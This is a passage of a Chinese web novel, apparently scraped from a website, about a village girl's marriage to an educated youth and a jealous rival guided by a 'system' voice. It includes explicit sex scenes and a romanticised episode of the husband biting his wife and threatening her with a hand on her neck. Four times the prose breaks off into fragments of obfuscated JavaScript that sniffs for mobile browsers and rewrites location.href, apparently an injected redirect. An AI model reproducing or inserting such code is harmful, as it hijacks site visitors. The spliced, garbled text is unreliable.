江窈也喜欢游雾州,她才不会帮余银。那两天刚下过雨,后山的水塘涨了许多水,她骗余银,游雾州中午会去那洗澡,她跳河里等着他,到时会她再喊人来,俩人就能结婚了。 余银不会水,听到这个办法虽然心动,但很害怕,在她劝说下,才有了落水这回事。 她是随意扯的谎言,她想要余银死,可没想到,那天游雾州突然去了水塘边,还救了她。 那天之后,也不知道是不是做了坏事的原因,她在树下昏迷了,到了晚上才回到知青点,一直浑浑噩噩的昏迷着。 脑海里有一个叫系统的,告诉她说,她才是游雾州人生的女主角,他们会一起读大学,在一起结婚。 而那个余银就是游雾州的路人甲前妻,因为设计他逼婚,后面她一家都因为当初的设计没有好下场,她自己承受不住跳河自杀了。 而她会和游雾州享受着令人艳羡的生活,游雾州的外公也会恢复原来的职位,他也接了他外公的班,从此前途无量。 她第一次见到游雾州也被惊艳到了,知青点的人嫌弃她来了快两年,还什么活都干不了,没人和她做朋友,也没人愿意和她她说话,但他不会。 游雾州会对她笑,还给她糖吃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376384|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她以前从来没吃过糖,是那样的甜,从口腔到心里,都是甜滋滋地,那颗糖带给她的甜,至今似乎还残留着。 虽然余银以后的下场不好,但她只要想到余银和游雾州结婚了,就嫉妒的发狂。 凭什么余银这个村里的丫头,从小到大什么也不干,甚至连割猪草她都比余银强,可她却被人讨厌,而余银却被人喜欢,她的家人还愿意惯着她。 江窈问系统,“我告诉游雾州那件事的真相,他就会开始注意到我,更加厌恶余银吗?。” 系统:“是的,游雾州这个人非常讨厌欺骗,你只要告诉他真相,就能让游雾州注意到你,厌恶余银。” 江窈又问它:“那他是不是就喜欢上我了,能不能让他厌恶余银直接离婚,跟我结婚。” 游雾州注定是她的,她不知道就算了,现在明知道游雾州会是她的,她就不想再让别人沾染分毫。 即使余银活不了几年也不行。 系统声音没有一丝情绪起伏,“这个不清楚,只要剧情大致不变,他就会和余银离婚,跟你结婚。” 江窈有些着急,系统的意思只能让她等,等到他们离婚,可现在还有快两年,她真的要嫉妒疯了。 游雾州见她半天不说话,脸上变来变去的情绪,让她的面目有些狰狞。 “没事我要回去了。”他说。 见他要走,江窈连忙喊住他,“游雾州,那天落水不是意外。” 游雾州的脚步停下,示意她继续说。 “余银她盯着你很久了,从你来杨柳村的第一天起,她就想要嫁给你了。”江窈说:“她打听了你经常会去地方,也知道你为人热切,故意当着你的面跳河,好让你去救了,逼着你娶了她。” “游雾州,高考很快就会恢复的,你外公也会回家的,余银她骗了你多,还设计了你。” 江窈抿着唇角,见他微微蹙眉,就知道自己的话他听进去了。 接着道:“你们现在没领结婚证,到时候你考上大学,回城不用去办离婚,你就能直接走。” 游雾州面色沉重,抓住她话里的重点,“你怎么知道高考很快就会恢复?我外公的事,你又是听谁说的?” 他到杨柳村,没有一个人知道他是因为什么过来的,江窈是怎么知道是因为他外公,他才下乡的。 江窈说的太多了,系统也有些无语的提醒她,“你说的太多了,他会起疑的。” 她咬了咬唇,解释道:“林念念跟我一个学校的。” “那你怎么会觉得高考很快就会恢复?”游雾州问。 江窈愣住,有些磕巴的说:“那,那个,我心里一直有念头,对,就是一直有高考会恢复的念头,并且也快要到来了。” 游雾州对她说的话存疑,虽然他也觉得高考会恢复,但他没和任何人说过,而且他和江窈也不熟,为什么突然拦着他说了那么多。 那个蠢的林念念,竟然还把外公的事跟江窈说,他们林家是真的笃定游家翻不了身吗? 8. 第 8 章 余银起床的时候,外面日头已经开始刺眼了。 她躺在床上动了下身子,忍不住“轻嘶”了一声。 游雾州简直太坏了!!! 又在床上躺了会,虎丫在外面拍门,“大懒虫,起床了。” “……” 平时也没人叫她起床啊? 余银眨眨眼,完全没有让人叫起的不好意思,“谁让你叫我起床的?” 虎丫嘴里舔着糖,说话含糊不清的,“赶紧起来吧,大懒虫。” 余银漠然几秒,从床上穿了衣服起来。 昨晚做了费体力的,现在她确实也是有点饿了。 打开门,余庆去上学了,家里这会就剩虎丫一个人,见她起床了,跑过来拉着她的手去洗漱,“给你打好水了,快洗吧,洗完赶紧去吃饭。” 小丫头什么时候对她这么殷勤过了? 余银皱了皱眉,问她:“你今儿怎么这么殷勤,是不是做了什么不好的事啊?” 虎丫撅起嘴巴,扭头,“才没有。” 余韵蹲下身子,捏了捏她的脸,威胁她:“快说,不然我等会就把你零嘴全吃了。” 说完就要起身,往她们屋子里去。 虎丫一听她这样说,赶紧拉着她的手,“他说让我叫你起床吃早饭,就给我糖吃。” “他?”余韵看着她,“游雾州吗?” 虎丫点头,“糖甜,好吃,叫你吃完饭,他就给我糖吃。” “大懒虫,你以后都赖床吧,这样我就能天天吃糖了。”小丫头说的天真,想到能天天吃糖,眼睛亮晶晶地。 余银撇嘴,“你也不怕糖吃多了,到时候你牙都掉光了,那些零嘴可就归我和余庆吃了。” “牙不会掉。”虎丫鼓起脸,“大懒虫坏,跟小孩抢吃的。” 余银哼了一声,“谁让你叫我大懒虫的,我就抢,就抢。” 虎丫嘴一撇,眼泪就出来了,紧接着张大嘴巴,就要扯着嗓子哭。 余银眼疾手快,手掌捂着她的嘴巴,“别哭,别哭,不抢不抢,都给你。” 虎丫的眼泪立马收回,“真的?” “真的。” “我真服了你。”余银手指在她脑袋上轻轻一点,“你比我还是个小人精。” “那你以后还赖床,叫他给我糖吃。” “……,那你问问我阿娘同意不,她要是同意我以后就不起床了。” 虎丫想了想余阿娘,叹了口气,“那还是算了。” 早饭在锅里放着,像是特意怕饭凉了,底下还添过柴。余银掀开锅盖,一碗鸡蛋羹,和一个粗面馒头。 余银惊喜的说:“我阿娘今天咋还给我又给我蒸了鸡蛋羹。” 虎丫扯了扯她的衣角,“不是姑姑,是游知青姐夫。” 她舔了舔嘴角,笑眯眯地说:“姐,我也想吃。” 还算他有点良心,折腾完人还知道给点好的。 “你咋不叫我大懒虫了呢?” 虎丫大眼睛滴溜溜转,“我可没叫过,都是哥哥叫的,我都是叫你姐的。” 余银笑了笑,没说话,又拿了个碗出来,给虎丫分了点,一大一小坐在灶房里,吃着早饭。 中午为了不让她娘再啰嗦她,也是觉得她结婚了,确实是该成长了,她准备在余家人在下工的时候吃上热腾腾的饭。 余银拎着小筐,带着虎丫去自家菜地里,去看看中午做什么饭菜。她厨艺很一般,主要是很少下厨,因为比较爱放调料,所以味道不算难吃。 余阿娘嫌她做饭味道不怎么,还浪费油和调料,就更不怎么让她下厨。 菜地在家门口往前走几步的地方,那原本是余家老房子,后来没人住渐渐也荒废了,现在改成菜地了。 “虎丫,你说中午做什么好?”余银看着菜地的菜,纠结说的。 虎丫低着头正在玩她在菜上捏的毛毛虫,根本没听进去她说的啥。 余银也没指望她能给她什么建议,闭着眼,伸出手随意地指了一处,睁开眼看着她指着的小青菜。 “就是你了。” 摘了点青菜和辣椒,家里有余阿娘弄的干面条,余银拎着菜回家切菜配菜,最后拿着秸秆引火,她不太会,虎丫也不太会,俩人在家里都不怎么做活。 引了好几遍,都引不着,也马上都要到吃饭时间了,余银有些着急了。 她还想好好表现一番呢。 她想帮忙老天爷都不给她机会。 姐妹俩,大眼瞪小眼,看着那燃不起的灶。 虎丫看着她,摇摇头,叹了口气,那模样仿佛在说,我就知道你干什么都不行。 余银也不甘示弱看回去,“干嘛,你不也不会吗?” 就在这时候,灶房传来一阵脚步声。 “饿了吗?”一道低沉清冽的嗓音响起。 余银和虎丫手捧着腮扭头看过去。 灶房门口的光被一道高大颀长的身影挡住,是游雾州回来了。 一大一小,长得还有点像,游雾州突然有一瞬间想到了,他以后回家后,有余银,有和她很像的孩子,也是这样等他回来。 心里好像有什么地方在被满满填满。 余银这会看到他,手就下意识地揉了揉腰,“我想做饭,但不会生火。” 游雾州看到她揉腰,轻咳了一声,“我来吧。” 男人拿起秸秆,皱了下眉,又从那堆秸秆更深处拿了把出来,弯腰点火,再把柴一点点塞进去,动作一气呵成,等确定不会灭了后,才看向余银。 “估计上面的柴有点湿,你刚才才引不着。” 余银想了想,她就说嘛,她又不是真的什么也不会干,怎么可能连个火引了好久引不着。 火着了,柴就好放了,游雾州又添了把柴,开始炒菜。 余银见他要做饭,也没出去,坐在那帮着他烧火。 “那个,腰还酸吗?”游雾州有些不自然地小声问她。 余银被他一问,觉得脸有点燥。 瞪了他一眼,没说话。 这男人白天装的人模人样,晚上折腾人起来就像换了人。 要不是余银跟他生活了那么久,还以为这人有两魂呢。 游雾州摸了摸鼻子,“等会我吃完饭我给你揉揉。” 余银听他这么说,受用的翘起唇角,轻哼一声。 游雾州挺爱看她的小表情,看着她的眼神温柔又缱绻。 余家的调料比知青点的好,还多,他挖了勺猪油,油遇到高温,瞬间腾起一阵白烟,把切好的辣椒丝丢进去,土灶发出滋滋啦啦声响,翻炒了几下,放入青菜。 只是简单的撒了点盐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376385|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴,飘的小院里都是香气。 这男人,余银就没见过他有不会的。 “这游知青做了啥好吃的,咋闻着真香。”王桂香嗅了嗅鼻子。 余阿娘也咽了咽口水,“进屋瞅瞅就知道了。” …… 因为是土灶,做出来的饭速度要快,味道也好,这时候猪吃的东西都是纯天然的,所以肉质细嫩,煸出来的猪油炒青菜那是一个香。 又炒了个酸辣土豆丝,婚席的菜也没剩多少了,热了热,用炒好的青菜下了一大锅面条。 饭菜在他们回来的时候,也刚好端上桌,虎丫被香味诱惑着,催促着余阿娘他们赶紧去洗手吃饭。 余阿娘闻着味肚子里馋虫也勾了起来,洗了手去吃饭。 桌子上的饭菜很快就被一扫而空,连余银也吃了一整碗饭。 看到她将碗里的饭吃完,回到房间在揉肚子,男人似是笑了一下,“味道还合你胃口?” 余银有些尴尬,但点了点头承认,“你做饭确实好吃。” 并不是违心的夸赞,她今天都吃撑了,以前每次盛一碗饭,都要剩一小半给阿娘吃,今都被她吃光了。 主要是游雾州这人虽然不挑食,但嘴很叼,他以前的条件很好,院里的伙伴们经常一起去探索首都的美食,久而久之,他也能试着做出合外面差不多的味道。 虽说来到乡下,没有好的条件,但他做饭不糊弄,做出来的味道很不错,也愿意做饭,这也是知青点他人缘好的关系之一。 游雾州看了一眼余银:“那我跟娘说,以后我来做饭。” 余银想说可以,但又想到他做饭跟自己一样,余阿娘肯定也会觉得浪费。 “娘能同意吗?” 余银话里带着期待。 “试试吧。”游雾州:“你平时吃的太少了,我做饭你还能吃一碗。” 这话什么意思?因为她平时吃的少,就要去做饭? 余银还在分析他的话,男人温热的手掌隔着薄薄的衣服盖在了她的肚子上,轻轻揉着。 “不过你也不能吃的太撑,饭量可以一点点增加,吃的太撑了对你胃不好。” 余银没说话,有人帮自己揉肚子,比自己揉要舒服多了,她舒服的眯起眼睛。 很像一只被揉着肚子的小猫,舒服的一脸享受。 只是这只手,揉着揉着又探进去了,在她的后腰处揉了一下,酸的余银顿时打了个颤,喉间溢出轻声的口申口今。 游雾州身子一僵,喉结滚动。 “小鱼儿。” 耳边响起游雾州低沉地声音,余银还没反应过来,就被他压在了身下,口处紧贴着,被火热包围着。 “这是白天,游雾州。”余银压着嗓音惊呼。 游雾州手掌握着她细软的腰肢,漆黑幽深的眸子看着她,“我不做什么。” 余韵脸颊升起红色。 “那你这——” 游雾州的目光紧紧锁着她,薄唇轻抿,粉红的舌尖探出一点在唇上轻轻舔了一下,喉结微微滚动着,有点勾,引的意味。 “小鱼儿……” 游雾州只觉得自己一碰上她,就会有各种各样肮脏的想法滋生,想把她关起来,想让她泪眼朦胧含着春色。 更想要她。 要她和自己一起坠入沉沦。 9. 第 9 章 迎上他的目光,她觉得自己实在热的慌,口干舌燥。 很没出息地咽了咽口水。 这样的游雾州实在是看起来很好亲的样子。 余银也就那样做了,手掌摸上那结实弹劲腹肌,张嘴含着他的唇瓣。 和余阿娘做的凉粉一样,果然很好吃。 游雾州全身都硬邦邦地,不过他的嘴巴却软软弹弹的。这个吻即大胆又羞怯,她就像是在品尝那凉粉一样。 小口小口的轻吮,或是舔咬两下,似是觉得有些不够,伸出舌尖在他的唇瓣上试探地滑了下。 游雾州一丝不动,像是僵住了。 酥麻的感觉顺着唇瓣一路向下,从脊柱使下。 他当然知道余银很喜欢他的皮相,故而将上身衣服脱下。正午的阳光透过窗户纸照清男人俊美的五官,也照清了黑夜里那流畅紧实的肌肉线条,宽肩窄腰,还有裤沿边隐约可见的人鱼线,想要让人往下看的更多。 余银脸热的发烫,别开脸,眼却不自觉地瞄。 白皙细腻的皮肤,劲瘦的腰腹上块块分明的腹肌。 余银似乎听到了自己吞咽口水的声音。 游雾州勾了勾唇角,拉起余银的手覆上那饱满的胸肌再缓缓向下。 “你,你干嘛呀。”余银强装镇定,手却在他身上摸了一把又一把,那模样,可看不出一点不情愿的样子。 “亲我,好不好。”他在她耳边轻声说。 余银哼哼一声,唇刚碰上他的唇瓣,他张开嘴,舌尖直接撬开他的唇,不给她反应的机会,长驱直入,目标明确,勾着她的舌尖搅.弄。 昨晚两人已经这样亲过好多次了,可余银虽然喜欢他这样亲自己,可还是觉得喘不过气来,他的吻太强势,尽数的掠夺。 本能的反应让她扬起脖颈,做出迎合的姿态,不然这人扣着自己往前仰,她能感觉他快要把她吞吃了。 游雾州的腿也没闲着,膝盖从长腿间挤进去,喉间溢出一声极轻的闷哼。 宽大的手掌带着她游走在紧实的肌肉,触碰到的地方,明明是他的身体。 她却被奇怪的感知蔓延。 热燥。 酥痒。 难抑。 忍不住的脚趾蜷缩,想要并拢空隙的腿间。 她喊了声游雾州的名字,那嗓音又娇又颤,让人听了忍不住脸红心跳。 “白、白天……” 话还没说完,男人难忍的呼吸声就像是灶锅下点燃的木柴,劈啦啪啦地将她也跟着点燃。 就像清晨泛着水雾的微开的荷花在湖面上,下起了淅淅沥沥的小雨,荷花上落了一颗又一颗的雨滴,奈何花本就娇弱,被这忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376386|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大忽小的雨席卷。 无力的一波一波倒在湖面上。 男人粗哑低沉的嗓音一句一句的响在余银耳边,进入脑海里。 “喜欢吗。” “嗯?” “怎么不说话。” 游雾州堵着她唇,根本不给她回答的机会,却还要问她为什么不说话。 控制不住的合拢哆嗦的腿,含糊不清嘤咛细细碎碎地。 “小鱼儿果然是水里的。” “放松点。” “好像快了。” 涟漪突然变快,电闪雷鸣间,水面竟也起了波浪潮。 余银打着哆嗦,游雾州将头埋在她的颈间,“小鱼儿,好棒。” 他轻轻去亲了亲余银微张的唇角,她咬着唇,被他说的又羞又恼,别过脸去,只让他亲到了脸边。 “害羞了?” “那你也这样对我好不好。” “让我……”游雾州唇在她耳尖轻舔,带着诱哄,“随意你,我一点都不会反抗你。” 余银想到能同样的对他回去,忍不住侧过头问他,“真的?” 游雾州拉着她的手往下探,“随意你怎么做,决不反抗。” 余银的手瑟缩了一下,忍不住惊到了,难怪她昨晚那么受罪。 就这东西,可真是个大家伙。 10. 第 10 章 余银觉得自己已经不能直视自己的手了,甚至游雾州的手也是。 才刚收拾完,时间也差不多了,游雾州下午还要去上工。马上到农忙了,他也割不了两天猪草就要余银自己去了。 那天他救余银的时候,看到过江窈,再加上今天的话,余银去割猪草的时候肯定会碰到她的。 他觉得这女人说不上来的奇怪。 余银看着手里拿着衣服准备穿的游雾州,却僵着不动了,眉宇也紧蹙着,外头的也响起了她阿娘们起床的动静。 她不想让人知道俩人中午还…… 伸手推了推游雾州胳膊,“你不去上工了?” 游雾州回神:“你和知青点的江窈是不是有过节?” 他拿着衣服往身上套,没注意到余银听到那个名字时变脸。 那个被游雾州护着的女生就是江窈,并且自己还没少照顾她,余银也不知道他们什么时候勾搭在一块儿的。 现在听游雾州提起,余银眼睫轻颤,“你和她什么关系?” 冷不防问了模棱两可的问题,游雾州怔了一下,“什么意思?” 余银拧着眉,这才刚结婚第一天游雾州就和江窈扯上了? 明明刚才还和自己做那样的事,现在就问她江窈了…… 余银越想越难受,心里直发酸,只觉得胸口被什么东西堵住,压她喘不过气来。 游雾州眉缝微蹙,看着余银低垂着头,从他的视角看过去,只能看到她一截纤细白嫩的后颈。 在衣领后面那,能看到一朵红梅。 喉结滚动,他别开脸。 余银没说话,游雾州穿好衣服就离开了。 她躺在床上一个想了很多很多。 如果现在游雾州要和她离婚,她也会立马同意,虽然她心里会难受。 她也不想见到江窈,回来以后,她刻意不让自己去想,可一听到江窈的名字。 那些游雾州护着她,和看自己那个厌恶的眼神的记忆,深深地刻在脑海深处。 她不知道该怎么办了,心里一团乱。 - 晚上吃完饭,余银和余阿舅说,她下地干活,不想去割猪草。 至于原因,她不想碰到江窈和游雾州,可游雾州两人在同一个屋檐下,抬头不见低头见的,她避不开。 但如果她去下地干活了,肯定累的倒头就睡,也没时间去胡思乱想了。 她的话一落,余家人顿时震惊了。 “大懒虫,你说的啥?我没听错吧?”虎丫嘴巴长得大大的,一脸不可置信。 不只是她,其他几个人也是如此,马上要农忙了,她又没做过活,怎么受得了? “小鱼儿,你?”余阿娘抬手就探上她的额头,“没发烧啊。” “是不是有人在你耳边说什么闲话了?”王桂香说:“你别听她们的小鱼儿,家里不缺你一个干活,你和虎丫我都是同样看待的。” 余阿娘到底是嫁过人的,带着儿子女儿住在弟弟家,她们自己知道没有余阿娘,余阿舅根本活不下来。 可村里人根本不在乎这些,你日子过得又好,她们可不就想方设法编排一些话才恶心你。 以前余银小时候就因为这些话要带着阿娘离开,东西都收拾好了,可把余家人吓得不行。 余银摇摇头,“舅妈,我结婚了,娘说我该长大了,现在我还住在家里,吃家里的,我觉得我也该下地做活了,也该帮家里分担了。” 余阿舅看了一眼王桂香,“小鱼儿,家里养的起你,地里的活累的很,你干不了,就在家里帮着看着虎丫不好吗?” 他们从来没想过让余银挣工分,为了堵村里人的嘴,她自己主动去割猪草,是余阿娘不忍心她干活,每次都不让余银去。 渐渐地余银也就一直懒着。 余银看着余阿娘说,“娘我长大了,村支书位置说着是阿舅的,农忙完差不多就换人了,我不能在这个时候给家里拖后腿。” “我也下地上工,不让咱们家给别人留把柄,阿舅可以让我跟着阿娘舅妈一起,这样我干累了,还有她们帮着我。” 余银已经说出口了,那她肯定是要付之行动的,余家人也不好再说什么了。 只是游雾州今晚从她说完后,一言不发。 在晚上吃完饭之后,找到余阿舅说了些什么才去烧水。 - 晚上洗澡水依旧是游雾州打的,余银也不拒绝,有免费劳动力不用,她又不是傻。 等洗完澡后,余银穿着小背心和短裤,拿出柜子里的被子,折了折放在两人中间,才悠哉地躺在床上。 今晚游雾州没跟她说一句话,她也不稀得求他跟自己说,她反正是要和他离婚的,感情也克制一些。 那种事也不能再做了,万一她怀孕了,有了娃娃,以后再嫁人就说不来好的了。 而且上辈子因为那事给自己折腾的够呛,这辈子虽然才两次,但她可不敢保证不会和以前一样,想想她腿就打哆嗦。 游雾州本想洗完澡躺床上好好问问她,为什么突然想要下地上工,可等他洗完澡才注意到,床中间放了床被子。 像是特意要隔开。 余银下午也睡了一会,这会正睡不着,睁开眼,刚好看到漆黑安静的屋子里,男人站在床边,一双似鹰一样锐利眼睛正直勾勾地锁着她。 余银身体僵住,心里直乱跳,“你不睡觉,站这干啥啊?” 游雾州薄唇紧抿,声音低哑而冷:“为什么中间放了床被子?” 当然是想放就放了。 可她又不能直说。 “我,我……”余银咬着唇,“我怕冷。” 现在天热的晚上都光着睡,她在床上放了床冬天的被子,简直是胡扯。 游雾州垂眸,盯着余银一说谎话就会不自觉的结巴,心里冷笑几声,把被子放进柜子里。 “你晚上冷抱着我睡,我身上比较热。” 他声音不似平时一样温和悦耳,带着冷冽,能听得出来他此时并不太好的心情。 余银默默地看着被子装进柜子里,也不敢再说什么。 游雾州唇角微勾,躺上床去,将人往怀里带,“不是冷吗?我抱着你。” 余银一顿,恨不得收回刚才的话,这人身上烫的跟火炉一样,她简直是自己给自己找罪受了。 游雾州搂着怀里软软的人,心中微波荡漾,“我已经跟阿舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376387|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说好了,到时候你跟着我就行。” “什么?”余银仰起头,“我都说了跟着我阿娘,你又替我做决定你告诉我。” 余银的语气也有些不太好,她就是不想看到他,才主动去下地做活,现在这个男人告诉她,他跟余阿舅说好了,余银以后跟着他。 被她这么一说,他想起来上次领结婚证的时候答应过她,有什么事都要一起商量的。 也没想到余银要去下地做活的事情自己也不知道,也没跟他商量。 游雾州低头在她头顶蹭了蹭,“对不起,这次是我不好,我只是不想阿娘她们太累了。” “我还年轻,也有力气。” 他这话说的余银简直反驳不了一点,处处都是为她着想。 她推开游雾州,“你总是这样,我不想听你说话。” “对不起。”余银沉默。 “我不知道别人跟你说了什么,但我不觉得你待在家里有什么不好的,如果可以的话,我想让你什么也不做。”他试探的揽了一下余银的胳膊,见她没拒绝,又重新将人搂在怀里。 “你和我一起,你不干活,别人只会说我心疼媳妇,也没人敢说阿舅什么。”游雾州继续给她分析着,跟着他一起的好处有多少。 她的本意就是避开游雾州,怎么反而又将两个人绑在一起了。 余银只想好好过日子,可是才刚结婚,江窈又来提醒了,她和游雾州没有以后的,她想着那就避开吧。 可为什么呢,为什么总要揪着她,让她清醒知道自己对一个没有以后的人,是多么在意和喜欢。 就算余家出事也是他造成的,但她依旧还是喜欢游雾州。 根本一点都抗拒不了他。 这么想着,余银压下心中的不安,深深吐了口气,“游雾州,如果我说我就是和你一起才决定去下地上工呢?我去下地上功后肯定会很累,倒头就睡,这样也不用能看到你。” 话都说到这了,余银也不在乎了,继续道:“今天你走之后我就在想,我当时鬼迷心窍了,听人说你那几天经常会在后山水塘边,所以就想到了跳河让你救我,然后村里人就会误会,到时候我就能嫁给你了,可是当我经历了一次生死后,我觉得自己这样做是不对的。” “而且我知道你也并不喜欢我,就像她们说的,你从小在首都长大,见过和知道很多我不了解不知道事物,而我从小就在杨柳村长大,甚至连县城都没去过几次,我们之间想说些什么,都找不到话题,我们也确实不合适。” 余银说:“是我对不起你,你要不要考虑一下,我们分开吧。” 她真诚的样子让仿佛是真的一心悔过为他考虑。 游雾州唇边的笑容渐渐消失,他听了余银的一番,只觉得她铺垫了许多话,归根结底想和他离婚。 想到这,深邃的眼眸逐渐暗了下去,幽暗的就如深海里缓缓形成的漩涡,海面上看着风平浪静,却足以摧毁一切。 可能是没到农忙快要来临的时候,都会下上几场雨,今晚并没有月亮,天起有些意外地闷沉。 屋内漆黑,所以她没有看到游雾州逐渐难看的脸色,也没有察觉到平静之下还隐约有暴风雨即将来临的征兆。 11. 第 11 章 游雾州微眯着眼,深不见底的幽眸里浮现着跳动的火苗,语气平淡:“你认真的吗?” 余银此时不知道这看着平淡的话里所蕴藏着的危险。 还有些意外他的的反应还挺平静,看来果然是不喜欢她。 才会没有一点反应。 她点头,又觉得天太黑游雾州也看不到,就说:“我想了挺久,所以是认真的。” “你放心,我阿舅他们不会为难你的。” 游雾州听完脸更黑了,双手钳住她的肩膀,声音如同冬日里被泼一身水,又刮来一阵寒风一样冷。 “余银,今晚我就当没听你说过。” 语气依旧平淡,但却像淬了冰一样,让她莫名感觉到隐隐寒气。 可他不是想离婚吗,这年头虽说离婚不太好,但也不是没有,虽然村里还没有,但明年就会有很多了。 早离晚离都是离。 还不影响他考大学,到时候自己在主动提出来帮他,是不是就可以让他不记恨余家了。 想到这余银心情都好了起来,语气也欢快。 “我知道余家对不起你,真的很对不起,舅舅和阿娘他们不知道落水是我故意,一切都是我的错,是我不该算计你,你能给我个补偿的机会吗,我们找个时间把婚离了……” 话还没说完,游雾州张嘴咬上她的唇,一丝血腥味迅速弥散在两人唇腔内。 不是亲,是咬,她能感觉到被狠狠的咬了一口。 并且反复的啃咬,惩戒似得用牙轻磨着破了的那处。 唇瓣上的疼痛感突突地跳。 余银吃痛的“唔”了一声,可说不出话来。 游雾州心里烦躁地厉害,有时候真想看看余银脑子里都装了什么。 他话都说的很明白了,就当这个是过去了,也不想跟她计较,可她就跟听不明白一样,小嘴叭叭地就说。 明明那张嘴亲起来那么软,那么甜,可说出的话仿佛一根根细针,还直往他心窝子里戳。 什么叫说到底都是她的错,错在她不该对自己生了非分之想吗? 游雾州从她唇上离开,额头上的青筋浮现却极力忍耐,手指在她渗血的唇瓣上轻轻摩挲着。 声音很轻,“余银,你是想用离婚来补偿对我设计?” 他的指腹还在余银唇瓣上,有一下没一下的触碰被咬破的地方。 伤口又疼又痒。 这种滋味很不好受。 那种莫名的寒意让余银心中警铃一响,她忘记了,游雾州根本不是什么好说话的人。 她现在已经惹恼他了。 余银空咽了一下,“不、不是,是你想要怎么补偿?” 停在她唇上的指腹缓缓移开,顺着她的脸颊向下,明明天已经热了,他的指骨现下确实冰凉。 手掌覆在她的细颈,指尖在轻轻描绘着轮廓。 余银的一颗心都提了起来。 生怕他下一秒掌心收紧掐死她。 “小鱼儿。”游雾州侧头,唇瓣蹭着她的耳朵,“要听话。” 脖子上的威胁依旧没有离开,余银颤着眼皮。 “好。” 他没有恶狠狠地表情,也没狠话来威胁,那种与生俱来的平日藏着的压迫感,让人心生畏惧 余银很怂的害怕了。 止不住的发颤。 游雾州是在警告她。 他从来都不是什么好人,刘寡妇觉得他能干,又有劲长的也好,想要霸王硬上弓拿捏他,可后来呢。 刘寡妇每次见到他都躲得远远的。 她记得上辈子跟游雾州结婚以后,刘寡妇跟她说过一次,他并不像大家看着的那样,待人温和有礼。 他更像一条被泡在酒缸假装冬眠的毒蛇。 她当时还只觉得是在开玩笑。 游雾州的手掌慢慢移到她后颈,余银控制不住的打了个哆嗦。 “害怕我?”游雾州轻笑,“小鱼儿能听话就行。” 他那那一声轻笑,阴冷寒凉,像是吐出信子的毒蛇一般可怕,让余银更觉得刘寡妇当时不是在跟她开玩笑。 游雾州甚至比毒蛇还要可怕瘆人。 余银嗓音轻颤,“我听话,都听你的。” “亲亲我。”他低声呢喃,嗓音异常温柔缱绻,“小鱼儿。” 他捞起余银,将她压在自己的身上的双臂紧紧的禁锢着她。 余银张着嘴,对于这话题转换的震惊极了,她刚趴到这人身上的时候,就感觉得到了巨大的反应。 她没说俩人不适合,也有东西不太适合。 他很热衷那事,在上辈子深有体会。 每次夜里都将她翻来覆去的折腾,回回都到深夜才肯放过她。 虽然也会有舒服的时候,但耐不住一直被人折腾,余银觉得那处还有些隐隐发疼,下意识地想往下缩。 游雾州对她的反应有些不满,低声诱哄她,“听话。” “亲亲我,小鱼儿。” 余银有些茫然,但照做在她的唇上亲了上去。 然后就不动了。 她似乎能感受到男人僵了一下,余银也愣住了。 游雾州似乎是在笑,胸腔很明显的震动了两下,反客为主的亲了起来。 温热的唇上多了个软滑湿润的东西,在余银的唇上滑来滑去,像挠痒痒似得,但又觉得少了点什么。 她微微张开唇,舌尖不自觉地想去触碰唇瓣上作乱的,越来越滚烫的气息,口干舌燥,那些唇齿间流露的湿意。 仿佛是最好的甘露。 房间内暧昧不断的水渍声,纠缠的舌尖勾出黏糊的吞咽声,热到仿佛只有口口相贴才能凉快的状态。 余银觉得就像刚下在地面上的雪,天上就挂起火热的艳阳,将她烫到融化,照得她无处可逃。 她觉得自己那艳阳照成了一滩水。 又热又难受,感觉身体里有好多小蚂蚁在啃咬她,还是那种小口小口的折磨着她。那种感觉让她变得不受控制,也不像自己了。 她扭动着身子,想将身体里那些作祟的蚂蚁弄出去,却得到不解脱,反而更难受了,在黑暗里,被蚂蚁啃噬后的空虚无限放大。 想要得到什么来填满。 细碎又急喘的呼吸声,仿佛验证了她此刻的状态。 